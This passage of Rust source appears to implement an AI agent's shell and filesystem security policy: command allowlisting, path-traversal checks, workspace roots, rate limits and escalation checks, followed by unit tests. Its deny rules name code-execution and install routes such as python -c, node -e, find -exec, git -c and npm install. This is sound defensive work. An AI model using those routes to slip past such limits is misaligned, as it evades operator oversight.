1507 let raw_executable = strip_wrapping_quotes(words.next().unwrap_or("")).trim();
1508 let executable = if let Some(idx) = raw_executable.find(['<', '>']) {
1512 &raw_executable[..idx]
1513 } else {
1514 raw_executable
1515 };
1516 let base_cmd_owned = command_basename(executable).to_ascii_lowercase();
1517 let base_cmd = strip_windows_exe_suffix(&base_cmd_owned);
1518
1519 if base_cmd.is_empty() {
1520 continue;
1521 }
1522
1523 if !self
1524 .allowed_commands
1525 .iter()
1526 .any(|allowed| is_allowlist_entry_match(allowed, executable, base_cmd))
1527 {
1528 return false;
1529 }
1530
1531 let args_cased: Vec<String> = words.map(|w| w.to_string()).collect();
1536 let args: Vec<String> = args_cased.iter().map(|w| w.to_ascii_lowercase()).collect();
1537 if !self.is_args_safe(base_cmd, &args, &args_cased) {
1538 return false;
1539 }
1540 }
1541
1542 segments.iter().any(|s| {
1544 let s = skip_env_assignments(s.trim());
1545 s.split_whitespace().next().is_some_and(|w| !w.is_empty())
1546 })
1547 }
1548
1549 fn is_args_safe(&self, base: &str, args: &[String], args_cased: &[String]) -> bool {
1560 let base = base.to_ascii_lowercase();
1561 match base.as_str() {
1562 "find" => {
1563 !args.iter().any(|arg| arg == "-exec" || arg == "-ok")
1565 }
1566 "git" => {
1567 !args_cased.iter().any(|arg| arg == "-c")
1574 && !args.iter().any(|arg| {
1575 arg == "config"
1576 || arg.starts_with("config.")
1577 || arg == "alias"
1578 || arg.starts_with("alias.")
1579 })
1580 }
1581 "python" | "python3" => {
1582 !args
1591 .iter()
1592 .any(|arg| arg.starts_with("-c") || arg.starts_with("-m"))
1593 }
1594 "node" => {
1595 !args.iter().any(|arg| {
1600 arg.starts_with("-e")
1601 || arg.starts_with("--eval")
1602 || arg.starts_with("-p")
1603 || arg.starts_with("--print")
1604 })
1605 }
1606 "pip" | "pip3" => {
1607 !args.iter().any(|arg| arg == "install" || arg == "download")
1610 }
1611 "npm" => {
1612 !args.iter().any(|arg| {
1616 arg == "exec" || arg == "install" || arg == "i" || arg == "add" || arg == "ci"
1617 })
1618 }
1619 "cargo" => {
1620 !args.iter().any(|arg| arg == "install")
1623 }
1624 _ => true,
1625 }
1626 }
1627
1628 pub fn forbidden_path_argument(&self, command: &str) -> Option<String> {
1633 let forbidden_candidate = |raw: &str| {
1634 let candidate = strip_wrapping_quotes(raw).trim();
1635 if candidate.is_empty() || candidate.contains("://") {
1636 return None;
1637 }
1638 if looks_like_path(candidate) && !self.is_path_allowed(candidate) {
1639 Some(candidate.to_string())
1640 } else {
1641 None
1642 }
1643 };
1644 let forbidden_non_redirect_candidate = |raw: &str| {
1645 let candidate = strip_wrapping_quotes(raw).trim();
1646 if candidate.is_empty() || candidate.contains("://") {
1647 return None;
1648 }
1649 if candidate.starts_with('-') {
1650 if let Some((_, value)) = candidate.split_once('=')
1651 && let Some(blocked) = forbidden_candidate(value)
1652 {
1653 return Some(blocked);
1654 }
1655 if let Some(value) = attached_short_option_value(candidate)
1656 && let Some(blocked) = forbidden_candidate(value)
1657 {
1658 return Some(blocked);
1659 }
1660 return None;
1661 }
1662 forbidden_candidate(candidate)
1663 };
1664
1665 for segment in split_unquoted_segments(command) {
1666 let cmd_part = skip_env_assignments(&segment);
1667 let mut words = cmd_part.split_whitespace();
1668 let Some(executable) = words.next() else {
1669 continue;
1670 };
1671
1672 let executable_redirect = parse_redirection_argument(strip_wrapping_quotes(executable));
1673 let mut next_is_redirect_target = false;
1674 match executable_redirect {
1676 RedirectionArgument::Target { target, .. } => {
1677 if !is_safe_device_redirect_target(target)
1678 && let Some(blocked) = forbidden_candidate(target)
1679 {
1680 return Some(blocked);
1681 }
1682 }
1683 RedirectionArgument::NeedsNextToken { .. } => {
1684 next_is_redirect_target = true;
1685 }
1686 RedirectionArgument::FdOnly { .. } | RedirectionArgument::None => {}
1687 }
1688
1689 for token in words {
1690 let candidate = strip_wrapping_quotes(token).trim();
1691 if candidate.is_empty() {
1692 continue;
1693 }
1694
1695 if next_is_redirect_target {
1696 next_is_redirect_target = false;
1697 if is_safe_device_redirect_target(candidate) {
1698 continue;
1699 }
1700 if let Some(blocked) = forbidden_candidate(candidate) {
1701 return Some(blocked);
1702 }
1703 continue;
1704 }
1705
1706 if candidate.contains("://") {
1707 continue;
1708 }
1709
1710 match parse_redirection_argument(candidate) {
1711 RedirectionArgument::Target { prefix, target } => {
1712 if let Some(blocked) = forbidden_non_redirect_candidate(prefix) {
1713 return Some(blocked);
1714 }
1715 if is_safe_device_redirect_target(target) {
1716 continue;
1717 }
1718 if let Some(blocked) = forbidden_candidate(target) {
1719 return Some(blocked);
1720 }
1721 }
1722 RedirectionArgument::NeedsNextToken { prefix } => {
1723 if let Some(blocked) = forbidden_non_redirect_candidate(prefix) {
1724 return Some(blocked);
1725 }
1726 next_is_redirect_target = true;
1727 continue;
1728 }
1729 RedirectionArgument::FdOnly { prefix } => {
1730 if let Some(blocked) = forbidden_non_redirect_candidate(prefix) {
1731 return Some(blocked);
1732 }
1733 continue;
1734 }
1735 RedirectionArgument::None => {}
1736 }
1737
1738 if let Some(blocked) = forbidden_non_redirect_candidate(candidate) {
1740 return Some(blocked);
1741 }
1742 if candidate.starts_with('-') {
1743 continue;
1744 }
1745 }
1746 }
1747
1748 None
1749 }
1750
1751 pub fn is_path_allowed(&self, path: &str) -> bool {
1759 if path.contains('\0') {
1761 return false;
1762 }
1763
1764 if Path::new(path)
1766 .components()
1767 .any(|c| matches!(c, std::path::Component::ParentDir))
1768 {
1769 return false;
1770 }
1771
1772 let lower = path.to_lowercase();
1774 if lower.contains("..%2f") || lower.contains("%2f..") {
1775 return false;
1776 }
1777
1778 if path.starts_with('~') && path != "~" && !path.starts_with("~/") {
1781 return false;
1782 }
1783
1784 let expanded_path = expand_user_path(path);
1786
1787 if is_null_device(&expanded_path) {
1790 return true;
1791 }
1792
1793 if expanded_path.is_absolute() {
1800 let in_workspace = expanded_path.starts_with(&self.workspace_dir);
1801 let in_allowed_root = self
1802 .allowed_roots
1803 .iter()
1804 .any(|root| expanded_path.starts_with(root));
1805 let in_read_only_root = self
1812 .allowed_roots_read_only
1813 .iter()
1814 .any(|root| expanded_path.starts_with(root));
1815 let in_write_only_root = self
1816 .allowed_roots_write_only
1817 .iter()
1818 .any(|root| expanded_path.starts_with(root));
1819
1820 if in_workspace || in_allowed_root || in_read_only_root || in_write_only_root {
1821 return true;
1822 }
1823
1824 if self.workspace_only {
1827 return false;
1828 }
1829 }
1830
1831 for forbidden in &self.forbidden_paths {
1833 let forbidden_path = expand_user_path(forbidden);
1834 if expanded_path.starts_with(forbidden_path) {
1835 return false;
1836 }
1837 }
1838
1839 true
1840 }
1841
1842 pub fn is_resolved_path_readable(&self, resolved: &Path) -> bool {
1860 const POSIX_DEVICE_READS: &[&str] =
1865 &["/dev/null", "/dev/zero", "/dev/random", "/dev/urandom"];
1866 for device in POSIX_DEVICE_READS {
1867 if resolved == Path::new(device) {
1868 return true;
1869 }
1870 }
1871
1872 let workspace_root = self
1877 .workspace_dir
1878 .canonicalize()
1879 .unwrap_or_else(|_| self.workspace_dir.clone());
1880 if resolved.starts_with(&workspace_root) {
1881 return true;
1882 }
1883 for root in &self.allowed_roots {
1884 let canonical = root.canonicalize().unwrap_or_else(|_| root.clone());
1885 if resolved.starts_with(&canonical) {
1886 return true;
1887 }
1888 }
1889 for root in &self.allowed_roots_read_only {
1890 let canonical = root.canonicalize().unwrap_or_else(|_| root.clone());
1891 if resolved.starts_with(&canonical) {
1892 return true;
1893 }
1894 }
1895 for root in &self.allowed_roots_write_only {
1896 let canonical = root.canonicalize().unwrap_or_else(|_| root.clone());
1897 if resolved.starts_with(&canonical) {
1898 return false;
1899 }
1900 }
1901
1902 for forbidden in &self.forbidden_paths {
1906 let forbidden_path = expand_user_path(forbidden);
1907 if resolved.starts_with(&forbidden_path) {
1908 return false;
1909 }
1910 }
1911 if !self.workspace_only {
1912 return true;
1913 }
1914 false
1915 }
1916
1917 pub fn is_resolved_path_allowed(&self, resolved: &Path) -> bool {
1925 if is_null_device(resolved) {
1926 return true;
1927 }
1928
1929 let workspace_root = self
1932 .workspace_dir
1933 .canonicalize()
1934 .unwrap_or_else(|_| self.workspace_dir.clone());
1935 if resolved.starts_with(&workspace_root) {
1936 return true;
1937 }
1938
1939 for root in &self.allowed_roots {
1943 let canonical = root.canonicalize().unwrap_or_else(|_| root.clone());
1944 if resolved.starts_with(&canonical) {
1945 return true;
1946 }
1947 }
1948
1949 for root in &self.allowed_roots_write_only {
1953 let canonical = root.canonicalize().unwrap_or_else(|_| root.clone());
1954 if resolved.starts_with(&canonical) {
1955 return true;
1956 }
1957 }
1958
1959 for forbidden in &self.forbidden_paths {
1962 let forbidden_path = expand_user_path(forbidden);
1963 if resolved.starts_with(&forbidden_path) {
1964 return false;
1965 }
1966 }
1967
1968 if !self.workspace_only {
1971 return true;
1972 }
1973
1974 false
1975 }
1976
1977 fn runtime_config_dir(&self) -> Option<PathBuf> {
1978 let parent = self.workspace_dir.parent()?;
1979 Some(
1980 parent
1981 .canonicalize()
1982 .unwrap_or_else(|_| parent.to_path_buf()),
1983 )
1984 }
1985
1986 pub fn is_runtime_config_path(&self, resolved: &Path) -> bool {
1987 let Some(config_dir) = self.runtime_config_dir() else {
1988 return false;
1989 };
1990 if !resolved.starts_with(&config_dir) {
1991 return false;
1992 }
1993 if resolved.parent() != Some(config_dir.as_path()) {
1994 return false;
1995 }
1996
1997 let Some(file_name) = resolved.file_name().and_then(|value| value.to_str()) else {
1998 return false;
1999 };
2000
2001 file_name == "config.toml"
2002 || file_name == "config.toml.bak"
2003 || file_name.starts_with(".config.toml.tmp-")
2004 }
2005
2006 pub fn runtime_config_violation_message(&self, resolved: &Path) -> String {
2007 format!(
2008 "Refusing to modify ZeroClaw runtime config/state file: {}. Use dedicated config tools or edit it manually outside the agent loop.",
2009 resolved.display()
2010 )
2011 }
2012
2013 pub fn resolved_path_violation_message(&self, resolved: &Path) -> String {
2014 let guidance = if self.allowed_roots.is_empty() {
2015 "Add the directory to [autonomy].allowed_roots (for example: allowed_roots = [\"/absolute/path\"]), or move the file into the workspace."
2016 } else {
2017 "Add a matching parent directory to [autonomy].allowed_roots, or move the file into the workspace."
2018 };
2019
2020 format!(
2021 "Resolved path escapes workspace allowlist: {}. {}",
2022 resolved.display(),
2023 guidance
2024 )
2025 }
2026
2027 pub fn can_act(&self) -> bool {
2029 self.autonomy != AutonomyLevel::ReadOnly
2030 }
2031
2032 pub fn enforce_tool_operation(
2042 &self,
2043 operation: ToolOperation,
2044 operation_name: &str,
2045 ) -> Result<(), String> {
2046 match operation {
2047 ToolOperation::Read => Ok(()),
2048 ToolOperation::Act => {
2049 if !self.can_act() {
2050 return Err(format!(
2051 "Security policy: read-only mode, cannot perform '{operation_name}'"
2052 ));
2053 }
2054
2055 if !self.record_action() {
2056 return Err("Rate limit exceeded: action budget exhausted".to_string());
2057 }
2058
2059 Ok(())
2060 }
2061 }
2062 }
2063
2064 pub fn record_action(&self) -> bool {
2067 self.tracker.record_for_current(self.max_actions_per_hour)
2068 }
2069
2070 pub fn is_rate_limited(&self) -> bool {
2072 self.tracker
2073 .is_limited_for_current(self.max_actions_per_hour)
2074 }
2075
2076 pub fn resolve_tool_path(&self, path: &str) -> PathBuf {
2082 let expanded = expand_user_path(path);
2083 if expanded.is_absolute() {
2084 expanded
2085 } else if let Some(workspace_hint) = rootless_path(&self.workspace_dir) {
2086 if let Ok(stripped) = expanded.strip_prefix(&workspace_hint) {
2087 if stripped.as_os_str().is_empty() {
2088 self.workspace_dir.clone()
2089 } else {
2090 self.workspace_dir.join(stripped)
2091 }
2092 } else {
2093 self.workspace_dir.join(expanded)
2094 }
2095 } else {
2096 self.workspace_dir.join(expanded)
2097 }
2098 }
2099
2100 pub fn is_under_allowed_root(&self, path: &str) -> bool {
2112 let expanded = expand_user_path(path);
2113 if !expanded.is_absolute() {
2114 return false;
2115 }
2116 roots_contain(&self.allowed_roots, &expanded)
2117 || roots_contain(&self.allowed_roots_write_only, &expanded)
2118 }
2119
2120 #[must_use]
2128 pub fn is_under_read_only_allowed_root(&self, path: &str) -> bool {
2129 let expanded = expand_user_path(path);
2130 if !expanded.is_absolute() {
2131 return false;
2132 }
2133 roots_contain(&self.allowed_roots_read_only, &expanded)
2134 }
2135
2136 #[must_use]
2146 pub fn is_under_any_allowed_root(&self, path: &str) -> bool {
2147 self.is_under_allowed_root(path) || self.is_under_read_only_allowed_root(path)
2148 }
2149
2150 pub fn ensure_no_escalation_beyond(
2176 &self,
2177 parent: &SecurityPolicy,
2178 ) -> Result<(), EscalationViolation> {
2179 if self.autonomy > parent.autonomy {
2182 return Err(EscalationViolation::AutonomyAboveParent {
2183 child: self.autonomy,
2184 parent: parent.autonomy,
2185 });
2186 }
2187
2188 for root in &self.allowed_roots {
2194 if !parent.allowed_roots.iter().any(|p| path_contains(p, root)) {
2195 return Err(EscalationViolation::ReadWriteRootNotInParent { path: root.clone() });
2196 }
2197 }
2198 for root in &self.allowed_roots_read_only {
2199 let in_parent_rw = parent.allowed_roots.iter().any(|p| path_contains(p, root));
2200 let in_parent_ro = parent
2201 .allowed_roots_read_only
2202 .iter()
2203 .any(|p| path_contains(p, root));
2204 if !in_parent_rw && !in_parent_ro {
2205 return Err(EscalationViolation::ReadOnlyRootNotInParent { path: root.clone() });
2206 }
2207 }
2208 for root in &self.allowed_roots_write_only {
2209 let in_parent_rw = parent.allowed_roots.iter().any(|p| path_contains(p, root));
2210 let in_parent_wo = parent
2211 .allowed_roots_write_only
2212 .iter()
2213 .any(|p| path_contains(p, root));
2214 if !in_parent_rw && !in_parent_wo {
2215 return Err(EscalationViolation::WriteOnlyRootNotInParent { path: root.clone() });
2216 }
2217 }
2218 for cmd in &self.allowed_commands {
2219 if !parent.allowed_commands.iter().any(|p| p == cmd) {
2220 return Err(EscalationViolation::CommandNotInParent {
2221 command: cmd.clone(),
2222 });
2223 }
2224 }
2225 if parent.workspace_only && !self.workspace_only {
2226 return Err(EscalationViolation::WorkspaceOnlyDisabledByChild);
2227 }
2228
2229 for parent_forbidden in &parent.forbidden_paths {
2233 if !self.forbidden_paths.iter().any(|c| c == parent_forbidden) {
2234 return Err(EscalationViolation::ForbiddenPathDroppedByChild {
2235 path: parent_forbidden.clone(),
2236 });
2237 }
2238 }
2239
2240 for var in &self.shell_env_passthrough {
2243 if !parent.shell_env_passthrough.iter().any(|p| p == var) {
2244 return Err(EscalationViolation::ShellEnvPassthroughExpanded {
2245 variable: var.clone(),
2246 });
2247 }
2248 }
2249
2250 if self.max_actions_per_hour > parent.max_actions_per_hour {
2251 return Err(EscalationViolation::MaxActionsExceeded {
2252 child: self.max_actions_per_hour,
2253 parent: parent.max_actions_per_hour,
2254 });
2255 }
2256 if self.max_cost_per_day_cents > parent.max_cost_per_day_cents {
2257 return Err(EscalationViolation::MaxCostExceeded {
2258 child: self.max_cost_per_day_cents,
2259 parent: parent.max_cost_per_day_cents,
2260 });
2261 }
2262 if self.shell_timeout_secs > parent.shell_timeout_secs {
2263 return Err(EscalationViolation::ShellTimeoutExceeded {
2264 child: self.shell_timeout_secs,
2265 parent: parent.shell_timeout_secs,
2266 });
2267 }
2268 if parent.block_high_risk_commands && !self.block_high_risk_commands {
2269 return Err(EscalationViolation::BlockHighRiskCommandsDisabledByChild);
2270 }
2271 if parent.require_approval_for_medium_risk && !self.require_approval_for_medium_risk {
2272 return Err(EscalationViolation::RequireApprovalDisabledByChild);
2273 }
2274
2275 Ok(())
2276 }
2277
2278 pub fn from_risk_profile(
2284 risk_profile: &crate::schema::RiskProfileConfig,
2285 workspace_dir: &Path,
2286 ) -> Self {
2287 Self::from_profiles(risk_profile, None, workspace_dir)
2288 }
2289
2290 pub fn from_profiles(
2298 risk_profile: &crate::schema::RiskProfileConfig,
2299 runtime_profile: Option<&crate::schema::RuntimeProfileConfig>,
2300 workspace_dir: &Path,
2301 ) -> Self {
2302 let effective_workspace_only = if risk_profile.level == AutonomyLevel::Full {
2307 false
2308 } else {
2309 risk_profile.workspace_only
2310 };
2311
2312 let runtime_default = crate::schema::RuntimeProfileConfig::default();
2313 let runtime = runtime_profile.unwrap_or(&runtime_default);
2314
2315 Self {
2316 autonomy: risk_profile.level,
2317 workspace_dir: workspace_dir.to_path_buf(),
2318 workspace_only: effective_workspace_only,
2319 allowed_commands: risk_profile.allowed_commands.clone(),
2320 forbidden_paths: risk_profile.forbidden_paths.clone(),
2321 allowed_roots: risk_profile
2322 .allowed_roots
2323 .iter()
2324 .map(|root| {
2325 let expanded = expand_user_path(root);
2326 if expanded.is_absolute() {
2327 expanded
2328 } else {
2329 workspace_dir.join(expanded)
2330 }
2331 })
2332 .collect(),
2333 allowed_roots_read_only: Vec::new(),
2340 allowed_roots_write_only: Vec::new(),
2341 max_actions_per_hour: runtime.max_actions_per_hour,
2342 max_cost_per_day_cents: runtime.max_cost_per_day_cents,
2343 require_approval_for_medium_risk: risk_profile.require_approval_for_medium_risk,
2344 block_high_risk_commands: risk_profile.block_high_risk_commands,
2345 shell_env_passthrough: risk_profile.shell_env_passthrough.clone(),
2346 shell_timeout_secs: runtime.shell_timeout_secs,
2347 allowed_tools: if risk_profile.allowed_tools.is_empty() {
2348 None
2349 } else {
2350 Some(risk_profile.allowed_tools.clone())
2351 },
2352 excluded_tools: if risk_profile.excluded_tools.is_empty() {
2353 None
2354 } else {
2355 Some(risk_profile.excluded_tools.clone())
2356 },
2357 auto_approve: risk_profile.auto_approve.clone(),
2358 always_ask: risk_profile.always_ask.clone(),
2359 sandbox_enabled: risk_profile.sandbox_enabled,
2360 sandbox_backend: risk_profile.sandbox_backend.clone(),
2361 firejail_args: risk_profile.firejail_args.clone(),
2362 tracker: PerSenderTracker::new(),
2363 }
2364 }
2365
2366 pub fn for_agent(config: &crate::schema::Config, agent_alias: &str) -> anyhow::Result<Self> {
2374 let risk_profile = config.risk_profile_for_agent(agent_alias).ok_or_else(|| {
2375 ::zeroclaw_log::record!(
2376 ERROR,
2377 ::zeroclaw_log::Event::new(module_path!(), ::zeroclaw_log::Action::Fail)
2378 .with_outcome(::zeroclaw_log::EventOutcome::Failure)
2379 .with_attrs(::serde_json::json!({"agent_alias": agent_alias})),
2380 "SecurityPolicy::for_agent: agent has no resolvable risk_profile"
2381 );
2382 anyhow::Error::msg(format!(
2383 "agents.{agent_alias} has no resolvable risk_profile (load-time validation should have caught this)"
2384 ))
2385 })?;
2386 let runtime_profile = config.runtime_profile_for_agent(agent_alias);
2387 let agent_workspace = config.agent_workspace_dir(agent_alias);
2391 let mut policy = Self::from_profiles(risk_profile, runtime_profile, &agent_workspace);
2392
2393 policy
2401 .allowed_roots_read_only
2402 .push(config.shared_workspace_dir().join("skills"));
2403
2404 if let Some(agent_cfg) = config.agents.get(agent_alias) {
2410 for (sibling_alias, mode) in &agent_cfg.workspace.access {
2411 let sibling_dir = config.agent_workspace_dir(sibling_alias.as_str());
2412 match mode {
2413 crate::multi_agent::AccessMode::Read => {
2414 policy.allowed_roots_read_only.push(sibling_dir);
2415 }
2416 crate::multi_agent::AccessMode::Write => {
2417 policy.allowed_roots_write_only.push(sibling_dir);
2418 }
2419 crate::multi_agent::AccessMode::ReadWrite => {
2420 policy.allowed_roots.push(sibling_dir);
2421 }
2422 }
2423 }
2424
2425 if agent_cfg.workspace.unrestricted_filesystem {
2429 policy.workspace_only = false;
2430 }
2431 }
2432
2433 Ok(policy)
2434 }
2435
2436 pub fn prompt_summary(&self) -> String {
2443 use std::fmt::Write;
2444
2445 let mut out = String::new();
2446
2447 let _ = writeln!(out, "**Autonomy level**: {:?}", self.autonomy);
2449
2450 if self.workspace_only {
2452 let _ = writeln!(
2453 out,
2454 "**Workspace boundary**: file operations are restricted to `{}`.",
2455 self.workspace_dir.display()
2456 );
2457 }
2458
2459 if !self.allowed_roots.is_empty() {
2461 let roots: Vec<String> = self
2462 .allowed_roots
2463 .iter()
2464 .map(|p| format!("`{}`", p.display()))
2465 .collect();
2466 let _ = writeln!(out, "**Additional allowed paths**: {}", roots.join(", "));
2467 }
2468
2469 if !self.allowed_commands.is_empty() {
2471 let cmds: Vec<String> = self
2472 .allowed_commands
2473 .iter()
2474 .map(|c| format!("`{c}`"))
2475 .collect();
2476 let _ = writeln!(
2477 out,
2478 "**Allowed shell commands**: {}. \
2479 You may execute these commands freely.",
2480 cmds.join(", ")
2481 );
2482 }
2483
2484 if !self.forbidden_paths.is_empty() {
2486 let paths: Vec<String> = self
2487 .forbidden_paths
2488 .iter()
2489 .map(|p| format!("`{p}`"))
2490 .collect();
2491 let _ = writeln!(
2492 out,
2493 "**Forbidden paths**: {}. \
2494 Avoid accessing these paths.",
2495 paths.join(", ")
2496 );
2497 }
2498
2499 if self.block_high_risk_commands {
2501 let _ = writeln!(
2502 out,
2503 "Exercise caution with destructive commands (rm, kill, reboot, etc.)."
2504 );
2505 }
2506 if self.require_approval_for_medium_risk {
2507 let _ = writeln!(
2508 out,
2509 "**Medium-risk commands** require user approval before execution."
2510 );
2511 }
2512
2513 let _ = writeln!(
2515 out,
2516 "**Rate limit**: max {} actions per hour per chat (each conversation has its own independent budget).",
2517 self.max_actions_per_hour
2518 );
2519
2520 out
2521 }
2522}
2523
2524#[cfg(test)]
2525mod tests {
2526 use super::*;
2527
2528 fn default_policy() -> SecurityPolicy {
2529 SecurityPolicy::default()
2530 }
2531
2532 #[cfg(not(target_os = "windows"))]
2537 fn tp_ws() -> PathBuf {
2538 PathBuf::from("/home/user/.zeroclaw/workspace")
2539 }
2540 #[cfg(target_os = "windows")]
2541 fn tp_ws() -> PathBuf {
2542 PathBuf::from("C:\\Users\\user\\.zeroclaw\\workspace")
2543 }
2544
2545 #[cfg(not(target_os = "windows"))]
2546 fn tp_ws_shared() -> PathBuf {
2547 PathBuf::from("/home/user/.zeroclaw/shared")
2548 }
2549 #[cfg(target_os = "windows")]
2550 fn tp_ws_shared() -> PathBuf {
2551 PathBuf::from("C:\\Users\\user\\.zeroclaw\\shared")
2552 }
2553
2554 #[cfg(not(target_os = "windows"))]
2555 fn tp_outside1() -> &'static str {
2556 "/home/user/other/file.txt"
2557 }
2558 #[cfg(target_os = "windows")]
2559 fn tp_outside1() -> &'static str {
2560 "C:\\Users\\user\\other\\file.txt"
2561 }
2562
2563 #[cfg(not(target_os = "windows"))]
2564 fn tp_outside2() -> &'static str {
2565 "/tmp/file.txt"
2566 }
2567 #[cfg(target_os = "windows")]
2568 fn tp_outside2() -> &'static str {
2569 "C:\\Users\\Public\\file.txt"
2570 }
2571
2572 #[cfg(not(target_os = "windows"))]
2573 fn tp_sys() -> &'static str {
2574 "/etc"
2575 }
2576 #[cfg(target_os = "windows")]
2577 fn tp_sys() -> &'static str {
2578 "C:\\Windows\\System32"
2579 }
2580
2581 #[cfg(not(target_os = "windows"))]
2582 fn tp_sys_sub(sub: &str) -> String {
2583 format!("/{sub}")
2584 }
2585 #[cfg(target_os = "windows")]
2586 fn tp_sys_sub(sub: &str) -> String {
2587 format!("C:\\Windows\\{}", sub.replace('/', "\\"))
2588 }
2589
2590 #[cfg(not(target_os = "windows"))]
2591 fn tp_proj() -> PathBuf {
2592 PathBuf::from("/projects")
2593 }
2594 #[cfg(target_os = "windows")]
2595 fn tp_proj() -> PathBuf {
2596 PathBuf::from("C:\\projects")
2597 }
2598
2599 #[cfg(not(target_os = "windows"))]
2600 fn tp_data() -> PathBuf {
2601 PathBuf::from("/data")
2602 }
2603 #[cfg(target_os = "windows")]
2604 fn tp_data() -> PathBuf {
2605 PathBuf::from("C:\\data")
2606 }
2607
2608 #[cfg(not(target_os = "windows"))]
2609 fn tp_rw() -> PathBuf {
2610 PathBuf::from("/rw-data")
2611 }
2612 #[cfg(target_os = "windows")]
2613 fn tp_rw() -> PathBuf {
2614 PathBuf::from("C:\\rw-data")
2615 }
2616
2617 #[cfg(not(target_os = "windows"))]
2618 fn tp_ro() -> PathBuf {
2619 PathBuf::from("/ro-shared")
2620 }
2621 #[cfg(target_os = "windows")]
2622 fn tp_ro() -> PathBuf {
2623 PathBuf::from("C:\\ro-shared")
2624 }
2625
2626 #[test]
2634 fn is_tool_allowed_none_is_unrestricted() {
2635 let p = SecurityPolicy {
2636 allowed_tools: None,
2637 excluded_tools: None,
2638 ..SecurityPolicy::default()
2639 };
2640 assert!(p.is_tool_allowed("shell"));
2641 assert!(p.is_tool_allowed("spawn_subagent"));
2642 assert!(p.is_tool_allowed("anything_else"));
2643 }
2644
2645 #[test]
2646 fn is_tool_allowed_some_empty_denies_all() {
2647 let p = SecurityPolicy {
2648 allowed_tools: Some(vec![]),
2649 ..SecurityPolicy::default()
2650 };
2651 assert!(!p.is_tool_allowed("shell"));
2652 assert!(!p.is_tool_allowed("spawn_subagent"));
2653 }
2654
2655 #[test]
2656 fn is_tool_allowed_allowlist_admits_only_listed() {
2657 let p = SecurityPolicy {
2658 allowed_tools: Some(vec!["shell".into(), "memory_recall".into()]),
2659 ..SecurityPolicy::default()
2660 };
2661 assert!(p.is_tool_allowed("shell"));
2662 assert!(p.is_tool_allowed("memory_recall"));
2663 assert!(!p.is_tool_allowed("spawn_subagent"));
2664 assert!(!p.is_tool_allowed("file_write"));
2665 }
2666
2667 #[test]
2668 fn is_tool_allowed_excluded_overrides_allowlist() {
2669 let p = SecurityPolicy {
2670 allowed_tools: Some(vec!["shell".into(), "spawn_subagent".into()]),
2671 excluded_tools: Some(vec!["spawn_subagent".into()]),
2672 ..SecurityPolicy::default()
2673 };
2674 assert!(p.is_tool_allowed("shell"));
2675 assert!(
2676 !p.is_tool_allowed("spawn_subagent"),
2677 "excluded_tools must subtract from allowlist"
2678 );
2679 }
2680
2681 #[test]
2682 fn is_tool_allowed_excluded_alone_subtracts_from_unrestricted() {
2683 let p = SecurityPolicy {
2684 allowed_tools: None,
2685 excluded_tools: Some(vec!["spawn_subagent".into()]),
2686 ..SecurityPolicy::default()
2687 };
2688 assert!(p.is_tool_allowed("shell"));
2689 assert!(!p.is_tool_allowed("spawn_subagent"));
2690 }
2691
2692 #[test]
2701 fn from_profiles_propagates_every_risk_profile_field() {
2702 use crate::schema::RiskProfileConfig;
2703 use std::path::Path;
2704
2705 let rp = RiskProfileConfig {
2706 level: AutonomyLevel::ReadOnly,
2707 workspace_only: true,
2708 allowed_commands: vec!["only_this".into()],
2709 forbidden_paths: vec!["/secret".into()],
2710 require_approval_for_medium_risk: false,
2711 block_high_risk_commands: false,
2712 shell_env_passthrough: vec!["EDITOR".into(), "PAGER".into()],
2713 auto_approve: vec!["memory_recall".into()],
2714 always_ask: vec!["shell".into()],
2715 allowed_roots: vec!["/tmp/extra".into()],
2716 allowed_tools: vec!["shell".into(), "memory_recall".into()],
2717 excluded_tools: vec!["spawn_subagent".into()],
2718 sandbox_enabled: Some(true),
2719 sandbox_backend: Some("firejail".into()),
2720 firejail_args: vec!["--net=none".into()],
2721 };
2722
2723 let policy = SecurityPolicy::from_profiles(&rp, None, Path::new("/ws"));
2724
2725 assert_eq!(policy.autonomy, AutonomyLevel::ReadOnly, "level → autonomy");
2726 assert!(policy.workspace_only, "workspace_only");
2727 assert_eq!(policy.allowed_commands, vec!["only_this".to_string()]);
2728 assert_eq!(policy.forbidden_paths, vec!["/secret".to_string()]);
2729 assert!(!policy.require_approval_for_medium_risk);
2730 assert!(!policy.block_high_risk_commands);
2731 assert_eq!(
2732 policy.shell_env_passthrough,
2733 vec!["EDITOR".to_string(), "PAGER".to_string()]
2734 );
2735 assert_eq!(
2736 policy.auto_approve,
2737 vec!["memory_recall".to_string()],
2738 "auto_approve must reach the policy"
2739 );
2740 assert_eq!(
2741 policy.always_ask,
2742 vec!["shell".to_string()],
2743 "always_ask must reach the policy"
2744 );
2745 assert!(
2746 policy.allowed_roots.iter().any(|p| p.ends_with("extra")),
2747 "allowed_roots expansion must reach the policy"
2748 );
2749 assert_eq!(
2750 policy.allowed_tools.as_deref(),
2751 Some(&["shell".to_string(), "memory_recall".to_string()][..]),
2752 "allowed_tools must reach the policy"
2753 );
2754 assert_eq!(
2755 policy.excluded_tools.as_deref(),
2756 Some(&["spawn_subagent".to_string()][..]),
2757 "excluded_tools must reach the policy"
2758 );
2759 assert_eq!(policy.sandbox_enabled, Some(true), "sandbox_enabled");
2760 assert_eq!(
2761 policy.sandbox_backend.as_deref(),
2762 Some("firejail"),
2763 "sandbox_backend"
2764 );
2765 assert_eq!(
2766 policy.firejail_args,
2767 vec!["--net=none".to_string()],
2768 "firejail_args"
2769 );
2770 }
2771
2772 #[test]
2777 fn from_profiles_full_autonomy_drops_workspace_only() {
2778 use crate::schema::RiskProfileConfig;
2779 use std::path::Path;
2780
2781 let rp = RiskProfileConfig {
2782 level: AutonomyLevel::Full,
2783 workspace_only: true,
2784 ..RiskProfileConfig::default()
2785 };
2786
2787 let policy = SecurityPolicy::from_profiles(&rp, None, Path::new("/ws"));
2788 assert!(
2789 !policy.workspace_only,
2790 "Full autonomy must drop workspace_only even when the profile sets it true"
2791 );
2792 }
2793
2794 #[test]
2795 fn from_profiles_with_runtime_profile_propagates_budget_caps() {
2796 use crate::schema::RuntimeProfileConfig;
2797 use std::path::Path;
2798
2799 let risk = crate::schema::RiskProfileConfig {
2800 level: AutonomyLevel::Supervised,
2801 ..crate::schema::RiskProfileConfig::default()
2802 };
2803 let runtime = RuntimeProfileConfig {
2804 max_actions_per_hour: 99,
2805 max_cost_per_day_cents: 1234,
2806 shell_timeout_secs: 300,
2807 ..RuntimeProfileConfig::default()
2808 };
2809
2810 let policy = SecurityPolicy::from_profiles(&risk, Some(&runtime), Path::new("/ws"));
2811
2812 assert_eq!(policy.max_actions_per_hour, 99);
